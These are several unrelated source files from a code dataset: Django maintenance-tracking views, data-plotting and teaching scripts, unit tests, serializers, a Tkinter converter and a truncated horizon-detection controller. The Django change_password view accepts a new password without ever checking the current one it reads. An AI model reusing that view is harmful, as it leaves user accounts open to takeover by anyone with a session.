PMTable(pms_filtered.qs)\n RequestConfig(request).configure(table)\n return render(request, 'maintenance/pms.html', {'table': table, 'filter': pms_filtered})\n\n\n@login_required(login_url=\"login/\")\ndef pm_view(request, asset_pk, pm_pk):\n pm = get_object_or_404(PM, pk=pm_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n return render(request, 'maintenance/pm_view.html', {'pm': pm, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef pm_add(request):\n if request.method == \"POST\":\n asset = get_object_or_404(Asset, num=request.POST.get(\"input-asset\"))\n model_wo = get_object_or_404(ModelWorkorder, id=request.POST.get(\"input-model-wo\"))\n form = PMForm(request.POST)\n if form.is_valid():\n pm = form.save(commit=False)\n pm.asset = asset\n pm.model_wo = model_wo\n pm.save()\n return redirect('pms')\n else:\n form = PMForm()\n return render(request, 'maintenance/pm_add.html', {'form': form})\n\n\n@login_required(login_url=\"login/\")\ndef pm_edit(request, asset_pk, pm_pk):\n pm = get_object_or_404(PM, id=pm_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n model_wo_default = get_object_or_404(ModelWorkorder, pk=pm.model_wo.pk)\n if request.method == \"POST\":\n model_wo = get_object_or_404(ModelWorkorder, id=request.POST.get(\"input-model-wo\"))\n form = PMForm(request.POST, instance=pm)\n if form.is_valid():\n pm = form.save(commit=False)\n pm.model_wo = model_wo\n pm.save()\n return redirect('pm_view', asset_pk, pm_pk)\n else:\n form = PMForm(instance=pm)\n return render(request, 'maintenance/pm_edit.html', {'form': form, 'pm': pm, 'asset': asset, 'model_wo_default': model_wo_default})\n\n\n@login_required(login_url=\"login/\")\ndef pm_generate_wo(request, asset_pk, pm_pk):\n pm = get_object_or_404(PM, id=pm_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n\n workorder = Workorder()\n workorder.user = request.user\n workorder.asset = asset\n workorder.desc = pm.model_wo.desc\n workorder.workorder_type = pm.model_wo.workorder_type\n workorder.status = pm.model_wo.status\n workorder.comments = pm.model_wo.comments\n workorder.start_date = pm.get_fc_date\n workorder.pm = pm\n workorder.origin = \"PM Schedule\"\n workorder.save()\n\n return redirect('pm_view', asset_pk, pm_pk)\n\n\n@login_required(login_url=\"login/\")\ndef pm_remove(request, pk):\n pm = get_object_or_404(PM, id=pk)\n pm.delete()\n return redirect('pms')\n\n\n\"\"\"\n Meter Readings Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef readings(request):\n readings_filtered = SMUFilter(request.GET, queryset=SMU.objects.all())\n table = SMUTable(readings_filtered.qs)\n RequestConfig(request).configure(table)\n return render(request, 'maintenance/readings.html', {'table': table, 'filter': readings_filtered})\n\n\n@login_required(login_url=\"login/\")\ndef reading_add(request, asset_pk=None):\n if asset_pk is not None:\n asset_default = get_object_or_404(Asset, pk=asset_pk)\n else:\n asset_default = None\n\n if request.method == \"POST\":\n asset = get_object_or_404(Asset, num=request.POST.get(\"input-asset\"))\n form = SMUForm(request.POST)\n if form.is_valid():\n reading = form.save(commit=False)\n reading.created_date = timezone.now()\n reading.asset = asset\n reading.save()\n if asset_default is not None:\n return redirect('asset_view', asset_default.pk)\n else:\n return redirect('readings')\n else:\n form = SMUForm()\n return render(request, 'maintenance/reading_add.html', {'form': form, 'asset_default': asset_default})\n\n\n@login_required(login_url=\"login/\")\ndef reading_view(request, asset_pk, reading_pk):\n reading = get_object_or_404(SMU, pk=reading_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n return render(request, 'maintenance/reading_view.html', {'reading': reading, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef reading_edit(request, asset_pk, reading_pk):\n reading = get_object_or_404(SMU, pk=reading_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n if request.method == \"POST\":\n form = SMUForm(request.POST, instance=reading)\n if form.is_valid():\n reading = form.save(commit=False)\n reading.save()\n return redirect('reading_view', asset_pk, reading_pk)\n else:\n form = SMUForm(instance=reading)\n return render(request, 'maintenance/reading_edit.html', {'form': form, 'reading': reading, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef reading_remove(request, pk):\n reading = get_object_or_404(SMU, id=pk)\n reading.delete()\n return redirect('readings')\n\n\n\"\"\"\n Utilisation Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef utilisations(request):\n utilisations_filtered = UtilisationFilter(request.GET, queryset=Utilisation.objects.all())\n table = UtilisationTable(utilisations_filtered.qs)\n RequestConfig(request).configure(table)\n return render(request, 'maintenance/utilisations.html', {'table': table, 'filter': utilisations_filtered})\n\n\n@login_required(login_url=\"login/\")\ndef utilisation_view(request, asset_pk, util_pk):\n utilisation = get_object_or_404(Utilisation, pk=util_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n return render(request, 'maintenance/utilisation_view.html', {'utilisation': utilisation, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef utilisation_add(request, asset_pk=''):\n if asset_pk != '':\n asset_default = get_object_or_404(Asset, pk=asset_pk)\n else:\n asset_default = ''\n\n if request.method == \"POST\":\n asset = get_object_or_404(Asset, num=request.POST.get(\"input-asset\"))\n form = UtilisationForm(request.POST)\n if form.is_valid():\n utilisation = form.save(commit=False)\n utilisation.asset = asset\n utilisation.save()\n return redirect('utilisations')\n else:\n form = UtilisationForm()\n return render(request, 'maintenance/utilisation_add.html', {'form': form, 'asset_def': asset_default})\n\n\n@login_required(login_url=\"login/\")\ndef utilisation_edit(request, asset_pk, utilisation_pk):\n utilisation = get_object_or_404(Utilisation, pk=utilisation_pk)\n asset = get_object_or_404(Asset, pk=asset_pk)\n if request.method == \"POST\":\n form = UtilisationForm(request.POST, instance=utilisation)\n if form.is_valid():\n utilisation = form.save(commit=False)\n utilisation.save()\n return redirect('utilisation_view', asset_pk, utilisation_pk)\n else:\n form = UtilisationForm(instance=utilisation)\n return render(request, 'maintenance/utilisation_edit.html', {'form': form, 'utilisation': utilisation, 'asset': asset})\n\n\n@login_required(login_url=\"login/\")\ndef utilisation_remove(request, pk):\n utilisation = get_object_or_404(Utilisation, id=pk)\n utilisation.delete()\n return redirect('utilisations')\n\n\n\"\"\"\n Reporting Module\n\n\n\"\"\"\n\n\n# To be built\n\n\n\"\"\"\n Administration Module\n\n\n\"\"\"\n\n\n@login_required(login_url=\"login/\")\ndef reports(request):\n return render(request, 'maintenance/reporting.html')\n\n\n@login_required(login_url=\"login/\")\ndef account(request):\n return render(request, 'maintenance/account.html')\n\n\n@login_required(login_url=\"login/\")\ndef change_password(request):\n if request.method == \"POST\":\n curr = request.POST.get(\"curr-pass\")\n new = request.POST.get(\"new-pass\")\n conf = request.POST.get(\"conf-pass\")\n\n if new == conf:\n user = User.objects.get(id__exact=request.user.id)\n user.set_password(new)\n user.save()\n\n form = \"Password changed successfully.\"\n else:\n form = \"New and confirmed passwords do not match. Please try again.\"\n else:\n form = \"\"\n return render(request, 'maintenance/account_change_password.html', {'form': form})\n\n\n@login_required(login_url=\"login/\")\ndef signout_view(request):\n logout(request)\n return redirect('home')\n\n\n\"\"\"\n Autocomplete Module\n\n\n\"\"\"\n\n\nASSET_TYPE = [\n (1, \"LV\", \"LV | Light Vehicle\"),\n (2, \"EX\", \"EX | Excavator\"),\n (3, \"DZ\", \"DZ | Track Dozer\"),\n (4, \"MG\", \"MG | Motor Grader\"),\n]\nASSET_STATUS = [\n (1, \"AC\", \"AC | Active\"),\n (2, \"ID\", \"ID | Idle\"),\n]\nASSET_LOCATION = [\n (1, \"BRIS\", \"BRIS | Brisbane\"),\n (2, \"SYDN\", \"SYDN | Sydney\"),\n (3, \"MELB\", \"MELB | Melbourne\"),\n (4, \"SING\", \"SING | Singapore\"),\n (5, \"ADEL\", \"ADEL | Adelaide\"),\n (6, \"PAPU\", \"PAPU | Papua New Guinea\"),\n]\nASSET_OWNER = [\n (1, \"OWNED\", \"OWNED | Owned\"),\n (2, \"LEASED\", \"LEASED | Leased\"),\n (3, \"HIRED\", \"HIRED | Externally Hired\"),\n]\nASSET_METER_TYPE = [\n (1, \"HR\", \"HR | Hours\"),\n (2, \"KM\", \"KM | Kilometres\"),\n]\nWORK_ORDER_TYPE = [\n (1, \"REPAIR\", \"REPAIR | Corrective Repair\"),\n (2, \"SERVICE\", \"SERVICE | Scheduled Service\"),\n (3, \"COMPONENT\", \"COMPONENT | Component Change Out\"),\n]\nWORK_ORDER_STATUS = [\n (1, \"AS\", \"AS | Awaiting Scheduling\"),\n (2, \"SC\", \"SC | Scheduled\"),\n (3, \"AP\", \"AP | Awaiting Parts\"),\n #(4, \"CO\", \"CO | Completed\"),\n]\n\n\ndef asset_suggest(request):\n if request.is_ajax():\n q = request.GET.get('term', '')\n assets_suggest = Asset.objects.filter(num__icontains=q)[:10]\n results = []\n for asset in assets_suggest:\n asset_json = {}\n asset_json['id'] = asset.id\n asset_json['label'] = asset.num + \" | \" + asset.desc\n asset_json['value'] = asset.num\n results.append(asset_json)\n data = json.dumps(results)\n else:\n data = 'fail'\n mimetype = 'application/json'\n return HttpResponse(data, mimetype)\n\n\ndef model_wo_suggest(request):\n if request.is_ajax():\n q = request.GET.get('term', '')\n model_wos_suggest = ModelWorkorder.objects.filter(id__icontains=q)[:10]\n results = []\n for model_wo in model_wos_suggest:\n model_wo_json = {}\n model_wo_json['id'] = model_wo.id\n model_wo_json['label'] = model_wo.id + \" | \" + model_wo.desc\n model_wo_json['value'] = model_wo.id\n results.append(model_wo_json)\n data = json.dumps(results)\n else:\n data = 'fail'\n mimetype = 'application/json'\n return HttpResponse(data, mimetype)\n\n\ndef autocomplete(request):\n if request.is_ajax():\n field = request.GET[\"field\"]\n q = request.GET.get('term', '')\n suggestions = []\n\n if field == \"ASSET_TYPE\":\n field = ASSET_TYPE\n elif field == \"ASSET_STATUS\":\n field = ASSET_STATUS\n elif field == \"ASSET_LOCATION\":\n field = ASSET_LOCATION\n elif field == \"ASSET_OWNER\":\n field = ASSET_OWNER\n elif field == \"ASSET_METER_TYPE\":\n field = ASSET_METER_TYPE\n elif field == \"WORK_ORDER_TYPE\":\n field = WORK_ORDER_TYPE\n elif field == \"WORK_ORDER_STATUS\":\n field = WORK_ORDER_STATUS\n\n for i in range(0, len(field)):\n if q.upper() in field[i][2].upper():\n suggestions.append(field[i])\n\n results = []\n for suggestion in suggestions:\n suggestion_json = {}\n suggestion_json['id'] = suggestion[0]\n suggestion_json['label'] = suggestion[2]\n suggestion_json['value'] = suggestion[1]\n results.append(suggestion_json)\n data = json.dumps(results)\n\n else:\n data = 'fail'\n mimetype = 'application/json'\n return HttpResponse(data, mimetype)\n","sub_path":"maintenance_app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":24505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"354313022","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef second_task():\n print(df[['DEPT', 'K', 'MAG(XM,FM)', 'RMS']].describe())\n\n\ndef third_task():\n plt.hist(df.DEPT, color='r')\n plt.xlabel('Depth,km')\n plt.ylabel('N')\n plt.savefig('images/third_task.png')\n plt.show()\n\n\ndef fourth_task():\n plt.hist(df.K, color='g', bins=15)\n plt.xlabel('K')\n plt.ylabel('N')\n plt.savefig('images/fourth_task.png')\n plt.show()\n\n\ndef fifth_task():\n plt.rcParams['figure.figsize'] = (15, 3)\n plt.plot(df.ORIGIN, df.RMS, 'o-')\n plt.xlabel('Datetime')\n plt.ylabel('RMS')\n plt.rcParams['figure.figsize'] = (15, 3)\n plt.savefig('images/fifth_task.png')\n plt.show()\n\n\ndef sixth_task():\n plt.plot(df['LONG E'], df['LAT N'], 'go', markersize=15)\n plt.savefig('images/sixth_task.png')\n plt.show()\n\n\ndef seventh_task():\n df.plot.scatter('MAG(XM,FM)', 'K', color='r')\n # a•n + b∑x = ∑y\n # a∑x + b∑x2 = ∑y•x\n\n # where x is Magnitude and x is 'K'\n n = df['MAG(XM,FM)'].count()\n sum_of_x = df['MAG(XM,FM)'].sum()\n sum_of_y = df['K'].sum()\n multiplication_x = (df['MAG(XM,FM)'] * df['MAG(XM,FM)']).sum()\n multiplication_xy = (df['MAG(XM,FM)'] * df['K']).sum()\n\n # with Kramer's Method\n d = n * multiplication_x - sum_of_x * sum_of_x\n d1 = sum_of_y * multiplication_x - multiplication_xy * sum_of_x\n d2 = n * multiplication_xy - sum_of_x * sum_of_y\n\n a = d1 / d\n b = d2 / d\n\n plt.title(f'K={a:.{2}f} + {b:.{2}f}*mag')\n plt.xlabel('Magnitude')\n plt.plot(df['MAG(XM,FM)'], df['MAG(XM,FM)'] * b + a, linestyle='--', linewidth=5)\n plt.savefig('images/seventh_task.png')\n plt.show()\n\n\nif __name__ == '__main__':\n file_with_data = \"cat2010.xlsx\"\n df = pd.read_excel(file_with_data)\n second_task()\n third_task()\n fourth_task()\n sixth_task()\n seventh_task()\n fifth_task()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1914,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"7779776","text":"#\n# CS1010S --- Programming Methodology\n#\n# Mission 2 - 3D Contest\n#\n# Note that written answers are commented out to allow us to run your\n# code easily while grading your problem set.\n\nfrom runes import *\n\n########\n# Task #\n########\n\n# You may submit up to three entries. Please update your entry number below.\n\n# Entry 1 of 3\n# ============\n# Write your function here. It should return a rune.\ndef create_tile(n=10, pic=black_bb):\n pic = scale_independent(1, 1/6, black_bb)\n res = translate(0, 0.42, pic)\n y = 0.32\n for i in range(9):\n res = overlay_frac(2/9, translate(0,y,pic), res)\n y -= 0.1\n return res\n\ndef fifty_shades_of_gray(tile, n=5):\n if n == 1:\n return tile\n return stack(beside(tile, tile), fifty_shades_of_gray(stackn(n-1, tile), n-1))\n \nhollusion(fifty_shades_of_gray(create_tile()))\n\n# Entry 2 of 3\n# ============\n# Write your function here. It should return a rune.\ndef get_peak(n=25, pic=circle_bb):\n res = pic\n for i in range(2, n+1):\n layer = scale((n+1-i)/n, pic)\n res = overlay_frac(1/i, layer, res)\n return res\n\ndef abstract_art(peak):\n res = peak\n for i in range(5):\n x,y = uniform(-1,1), uniform(-1,1)\n layer = translate(x, y, peak)\n res = overlay_frac(1/8, layer, res)\n return res\n\npeak = get_peak()\nanaglyph(abstract_art(peak))\n\n\n# Use one of the following methods to display your rune:\n# stereogram()\n# anaglyph()\n# hollusion()\n","sub_path":"Contest 2.3 3D Runes/contest02.3-template.py","file_name":"contest02.3-template.py","file_ext":"py","file_size_in_byte":1489,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"227677659","text":"# Copyright (c) 2015, Alphamonak Solutions Ltd.\n\nfrom __future__ import unicode_literals\n\nimport redapp, unittest\n\nfrom redapp.model.delete_doc import delete_doc\n\ntest_records = redapp.get_test_records('User')\n\nclass TestUser(unittest.TestCase):\n\tdef test_delete(self):\n\t\tredapp.get_doc(\"User\", \"test@example.com\").add_roles(\"_Test Role 2\")\n\t\tself.assertRaises(redapp.LinkExistsError, delete_doc, \"Role\", \"_Test Role 2\")\n\t\tredapp.db.sql(\"\"\"delete from tabUserRole where role='_Test Role 2'\"\"\")\n\t\tdelete_doc(\"Role\",\"_Test Role 2\")\n\n\t\tif redapp.db.exists(\"User\", \"_test@example.com\"):\n\t\t\tdelete_doc(\"User\", \"_test@example.com\")\n\n\t\tuser = redapp.copy_doc(test_records[1])\n\t\tuser.email = \"_test@example.com\"\n\t\tuser.insert()\n\n\t\tredapp.get_doc({\"doctype\": \"ToDo\", \"description\": \"_Test\"}).insert()\n\n\t\tdelete_doc(\"User\", \"_test@example.com\")\n\n\t\tself.assertTrue(not redapp.db.sql(\"\"\"select * from `tabToDo` where owner=%s\"\"\",\n\t\t\t(\"_test@example.com\",)))\n\n\t\tfrom redapp.core.doctype.role.test_role import test_records as role_records\n\t\tredapp.copy_doc(role_records[1]).insert()\n\n\tdef test_get_value(self):\n\t\tself.assertEquals(redapp.db.get_value(\"User\", \"test@example.com\"), \"test@example.com\")\n\t\tself.assertEquals(redapp.db.get_value(\"User\", {\"email\":\"test@example.com\"}), \"test@example.com\")\n\t\tself.assertEquals(redapp.db.get_value(\"User\", {\"email\":\"test@example.com\"}, \"email\"), \"test@example.com\")\n\t\tself.assertEquals(redapp.db.get_value(\"User\", {\"email\":\"test@example.com\"}, [\"first_name\", \"email\"]),\n\t\t\t(\"_Test\", \"test@example.com\"))\n\t\tself.assertEquals(redapp.db.get_value(\"User\",\n\t\t\t{\"email\":\"test@example.com\", \"first_name\": \"_Test\"},\n\t\t\t[\"first_name\", \"email\"]),\n\t\t\t\t(\"_Test\", \"test@example.com\"))\n\n\t\ttest_user = redapp.db.sql(\"select * from tabUser where name='test@example.com'\",\n\t\t\tas_dict=True)[0]\n\t\tself.assertEquals(redapp.db.get_value(\"User\", {\"email\":\"test@example.com\"}, \"*\", as_dict=True),\n\t\t\ttest_user)\n\n\t\tself.assertEquals(redapp.db.get_value(\"User\", \"xxxtest@example.com\"), None)\n\n\t\tredapp.db.set_value(\"Website Settings\", \"Website Settings\", \"_test\", \"_test_val\")\n\t\tself.assertEquals(redapp.db.get_value(\"Website Settings\", None, \"_test\"), \"_test_val\")\n\t\tself.assertEquals(redapp.db.get_value(\"Website Settings\", \"Website Settings\", \"_test\"), \"_test_val\")\n\n\tdef test_high_permlevel_validations(self):\n\t\tuser = redapp.get_meta(\"User\")\n\t\tself.assertTrue(\"user_roles\" in [d.fieldname for d in user.get_high_permlevel_fields()])\n\n\t\tme = redapp.get_doc(\"User\", \"testperm@example.com\")\n\t\tme.remove_roles(\"System Manager\")\n\n\t\tredapp.set_user(\"testperm@example.com\")\n\n\t\tme = redapp.get_doc(\"User\", \"testperm@example.com\")\n\t\tme.add_roles(\"System Manager\")\n\n\t\tself.assertTrue(\"System Manager\" not in [d.role for d in me.get(\"user_roles\")])\n\n\t\tredapp.set_user(\"Administrator\")\n\n\t\tme = redapp.get_doc(\"User\", \"testperm@example.com\")\n\t\tme.add_roles(\"System Manager\")\n\n\t\tself.assertTrue(\"System Manager\" in [d.role for d in me.get(\"user_roles\")])\n","sub_path":"redapp/core/doctype/user/test_user.py","file_name":"test_user.py","file_ext":"py","file_size_in_byte":2948,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"93022432","text":"from rest_framework import serializers\n\nfrom . import models\n\n\nclass FieldTypeSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for FieldType model.\"\"\"\n class Meta:\n model = models.FieldType\n fields = (\n 'id',\n 'name',\n 'slug',\n 'data_type',\n 'help_text',\n 'risk',\n 'display_order',\n 'enum_options',\n )\n read_only_fields = ('id', 'slug', 'risk')\n\n\nclass RiskTypeSerializer(serializers.ModelSerializer):\n \"\"\"Serializer for RiskType model.\"\"\"\n fields = FieldTypeSerializer(many=True)\n\n class Meta:\n model = models.RiskType\n fields = ('id', 'name', 'slug', 'description', 'fields')\n\n def create(self, validated_data):\n fields_data = validated_data.pop('fields')\n risk, rcreated = models.RiskType.objects.get_or_create(\n **validated_data\n )\n risk.bulk_add_fields(fields_data)\n return risk","sub_path":"backend/risks/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":984,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"468974221","text":"from django.shortcuts import render, redirect\nfrom .models import *\nfrom .forms import SearchFrom\n\n# Create your views here.\ndef leaderboard(request):\n\tplayers = ArenaLB33.objects.all().order_by('-rating')\n\treturn render(request, 'leaderboard.html', { 'players' : players })\n\n\ndef search(request, name):\n\tprint(\"search string : {0}\".format(name))\n\tplayers = ArenaLB33.objects.get(name=name)\n\treturn render(request, 'search.html', { 'players': players })\n\n\ndef searchPage(request):\n\tif request.method == 'POST':\n\t\tname = request.POST['name']\n\t\tprint('search for {0}'.format(name))\n\t\ttry:\n\t\t\tplayers_3v3 = ArenaLB33.objects.filter(name__icontains=name)\n\t\t\tprint('player 3v3 count : {0}'.format(len(players_3v3)))\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\n\t\ttry:\n\t\t\tplayers_rbg = ArenaLBrbg.objects.filter(name__icontains=name)\n\t\t\tprint('player rbg count : {0}'.format(len(players_rbg)))\n\t\texcept Exception as e:\n\t\t\tprint(e)\n\n\t\treturn render(request, 'search.html', { 'players_3v3': players_3v3, 'players_rbg':players_rbg })\n\t\t\n\telse:\n\t\treturn render(request, 'searchPage.html')","sub_path":"WebService/arena/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1071,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"495652896","text":"# 07-list&gen.py\n# Created by Alexcai at 2018/5/12\n\n\n\"\"\" 列表推导式\n[x for x in range(1, 10) if 条件]\n生成一个推导公式 每次取值时,根据推导计算后生成\n\"\"\"\n# 生成 包含 1~100 的列表\n\narr = []\ni = 1\nwhile i <= 100:\n arr.append(i)\n i += 1\nprint(arr)\narr.clear()\n\nfor i in range(1, 100):\n arr.append(i)\nprint(\"#\" * 50)\nprint(arr)\n\na = range(10, 20, 3)\nprint(a)\nfor i in a:\n print(i)\n# 列表生成式\nb = [i for i in range(0, 23)]\nprint(b)\nc = [\"dell\" for _ in range(0, 10)]\nprint(c)\n\nd = [i for i in range(9) if i % 3 == 0]\nprint(d)\n\n\"\"\" 集合\n{元素} : 集合中的元素都不会重复(重复添加没有效果)\n\"\"\"\n\nj = {11, 22, 33, 11, 44}\nprint(j)\n\n# 列表去重\n\nt = [1, 32, 44, 1, 5, 32]\nb = []\nfor i in t:\n if i not in b:\n b.append(i)\nprint(b)\n\n# 使用集合对数组进行去重 : set转换-> list 转换\ndf = set(t)\nda = list(df)\nprint(da)\n\n\n\n\n","sub_path":"PythonStudy/01-Day/src/main/07-list&gen.py","file_name":"07-list&gen.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"282161851","text":"# ../core/cfg/defaults.py\r\n\r\n'''\r\n$Rev$\r\n$LastChangedBy$\r\n$LastChangedDate$\r\n'''\r\n\r\n# =============================================================================\r\n# >> IMPORTS\r\n# =============================================================================\r\n# EventScripts Imports\r\nfrom es import ServerVar\r\n\r\n\r\n# =============================================================================\r\n# >> CLASSES\r\n# =============================================================================\r\nclass _CvarDefaults(dict):\r\n '''Class that stores cvars with their default value'''\r\n\r\n def clear(self):\r\n '''Resets all cvars in the dictionary and then clears itself'''\r\n\r\n # Loop through all cvars in the dictionary\r\n for cvar in self:\r\n\r\n # Set the cvar to its default value\r\n ServerVar(cvar).set(self[cvar])\r\n\r\n # Remove the notify flag from the cvar\r\n ServerVar(cvar).removeFlag('notify')\r\n\r\n # Clear the dictionary\r\n super(_CvarDefaults, self).clear()\r\n\r\n# Get the CvarDefaults instance\r\nCvarDefaults = _CvarDefaults()\r\n","sub_path":"cstrike/addons/eventscripts/gungame51/core/cfg/defaults.py","file_name":"defaults.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"290834494","text":"# -*- coding: utf-8 -*-\nimport os\nimport argparse\nimport sys\nimport csv\nfrom os import listdir\nfrom os.path import isfile, join\nDATA_SCIENCE_PKG_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nsys.path.append(DATA_SCIENCE_PKG_PATH)\nDATA_SCIENCE_ROOT = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nfrom datascience.utils.cele_utils import * # noqa E402\nfrom datascience.services.email_classifier import * # noqa E402\n\n\nclass EmailTrainsetGenerator:\n #\n # EmailClassificationRunner loads a set of email text file\n # run the classifier and generate an output file in out_dir\n #\n def __init__(self, args):\n self.logger = logging.getLogger('EmailTrainsetGenerator')\n cwd = os.path.dirname(os.path.abspath(__file__))\n self.in_dir = os.path.join(cwd, args.in_dir)\n self.out_dir = os.path.join(cwd, args.out_dir)\n if not os.path.exists(self.out_dir):\n os.makedirs(self.out_dir)\n self.classifier = EmailClassifier()\n\n def process(self):\n all_email_files = [join(self.in_dir, fn) for fn in listdir(self.in_dir) if isfile(join(self.in_dir, fn))]\n training_file = self.out_dir + '/' + 'email_training.csv'\n training_cnt = 0\n with open(training_file, 'wb') as f:\n writer = csv.writer(f)\n title_row = [\"L_POS\", \"L_REV\", \"L_LATER\", \"L_NEG\", \"L_STOP\"] + sorted(EMAIL_SCORING_FEATURES)\n writer.writerow(title_row)\n for f_name in all_email_files:\n if is_in_text_old(f_name, ['e_neg_', 'e_Neg_', 'e_pos_', 'e_Pos_', 'e_rev_', 'e_Rev_']):\n if is_in_text_old(f_name, ['_pos_', '_Pos_']):\n # email_class = EMAIL_POSITIVE\n class_label = [1, 0, 0, 0, 0]\n elif is_in_text_old(f_name, ['_rev_', '_Rev_']):\n # email_class = EMAIL_REVIEW\n class_label = [0, 1, 0, 0, 0]\n elif is_in_text_old(f_name, ['_neg_later_', '_Neg_Later_']):\n # email_class = EMAIL_NEG_LATER\n class_label = [0, 0, 1, 1, 0]\n elif is_in_text_old(f_name, ['_neg_stop_', '_Neg_Stop_']):\n # email_class = EMAIL_NEG_STOP\n class_label = [0, 0, 0, 1, 1]\n elif is_in_text_old(f_name, ['_neg_', '_Neg_']):\n # email_class = EMAIL_NEGATIVE\n class_label = [0, 0, 0, 1, 0]\n else:\n continue\n\n lines = []\n with open(f_name) as rf:\n for i, line in enumerate(rf):\n if line:\n lines.append(line)\n if not lines:\n continue\n self.logger.info(\"Processing \" + f_name + \" ......\")\n feature_row = self.classifier.predicting_features(lines)\n training_cnt += 1\n writer.writerow(class_label + feature_row)\n self.logger.info(\"Done.\")\n self.logger.info(\"A total \" + str(training_cnt) + \" examples captured.\")\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--in_dir', default='../data/in/email_all', help=\"Path to read email content files\")\n parser.add_argument('--out_dir', default='../data/training/email_all', help=\"Path to write result file\")\n return parser.parse_args()\n\n\ndef main():\n logging.basicConfig(level=logging.INFO)\n logging.getLogger(__name__).setLevel(logging.INFO)\n\n args = parse_args()\n gen = EmailTrainsetGenerator(args)\n gen.process()\n\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"datascience/scripts/email_trainset_gen.py","file_name":"email_trainset_gen.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"306525313","text":"from tkinter import *\n\ndef convert_func():\n pound = float(e1_var.get()) * 2.20462\n gram = float(e1_var.get()) * 1000\n ounce = float(e1_var.get()) * 35.274\n t1_pound.delete(1.0,END)\n t1_pound.insert(END,pound)\n t1_gram.delete(1.0,END)\n t1_gram.insert(END,gram)\n t1_ounce.delete(1.0,END)\n t1_ounce.insert(END,ounce)\n\n\nw1 = Tk()\n#Labels for all entry and text widgets\nl1_var = StringVar()\nl1 = Label(w1,textvariable= l1_var)\nl1.grid(row=0,column=1)\nl1_var.set(\"Kilograms\")\n\nl1 = Label(w1,text = \"Pounds\")\nl1.grid(row=1,column=1)\n\nl2 = Label(w1,text = \"Grams\")\nl2.grid(row=1,column=2)\n\nl3 = Label(w1,text= \"Ounces\")\nl3.grid(row=1, column = 3)\n\n\n\n#Entry widget for KG\ne1_var = StringVar()\ne1 = Entry(w1,textvariable=e1_var)\ne1.grid(row=0,column=2)\n\n#Button widget to perfrom conversion\n\nb1 = Button(w1,text=\"Convert\",command=convert_func)\nb1.grid(row = 0 , column = 3)\n\n#All text widgets to display converted values\nt1_pound = Text(w1,height =1, width=10)\nt1_pound.grid(row=2, column=1)\n\nt1_gram = Text(w1,height =1, width = 10)\nt1_gram.grid(row =2, column = 2)\n\nt1_ounce = Text(w1,height=1,width = 10)\nt1_ounce.grid(row=2,column = 3)\n\nw1.mainloop()\n","sub_path":"Tkinter/KGConversions.py","file_name":"KGConversions.py","file_ext":"py","file_size_in_byte":1172,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"312505498","text":"\"\"\" A convenient holder for horizon detection steps:\n - creating dataset with desired properties\n - training a model\n - making an inference on selected data\n - evaluating predictions\n - and more\n\"\"\"\n#pylint: disable=import-error, no-name-in-module, wrong-import-position, protected-access\nimport os\nimport gc\nimport logging\nimport random\nfrom time import perf_counter\nfrom copy import copy\nfrom glob import glob\nimport psutil\n\nimport numpy as np\nimport torch\n\nfrom tqdm.auto import tqdm\n\nfrom ...batchflow import Pipeline, FilesIndex\nfrom ...batchflow import B, V, C, D, P, R\nfrom ...batchflow.models.torch import EncoderDecoder\n\nfrom ..cubeset import SeismicCubeset, Horizon\nfrom ..metrics import HorizonMetrics\nfrom ..plotters import plot_loss, plot_image\n\n\n\nclass BaseController:\n \"\"\" Provides interface for train, inference and quality assesment for the task of horizon detection.\n\n Parameters\n ----------\n batch_size : int\n Size of batches for train and inference.\n crop_shape : tuple of 3 ints\n Size of sampled crops for train and inference.\n model_config : dict\n Neural network architecture.\n model_path : str\n Path for pre-trained model.\n device : str or int\n Device specification.\n show_plots : bool\n Whether to show plots to the current output stream.\n save_dir : str\n Path to save images, logs, and other data.\n logger : None or callable\n If None, then logger is created inside `save_dir`.\n If callable, then it is used directly to log messages.\n bar : bool\n Whether to show progress bars for training and inference.\n \"\"\"\n #pylint: disable=unused-argument, logging-fstring-interpolation, no-member, too-many-public-methods\n #pylint: disable=access-member-before-definition, attribute-defined-outside-init\n def __init__(self, batch_size=64, crop_shape=(1, 256, 256),\n model_config=None, 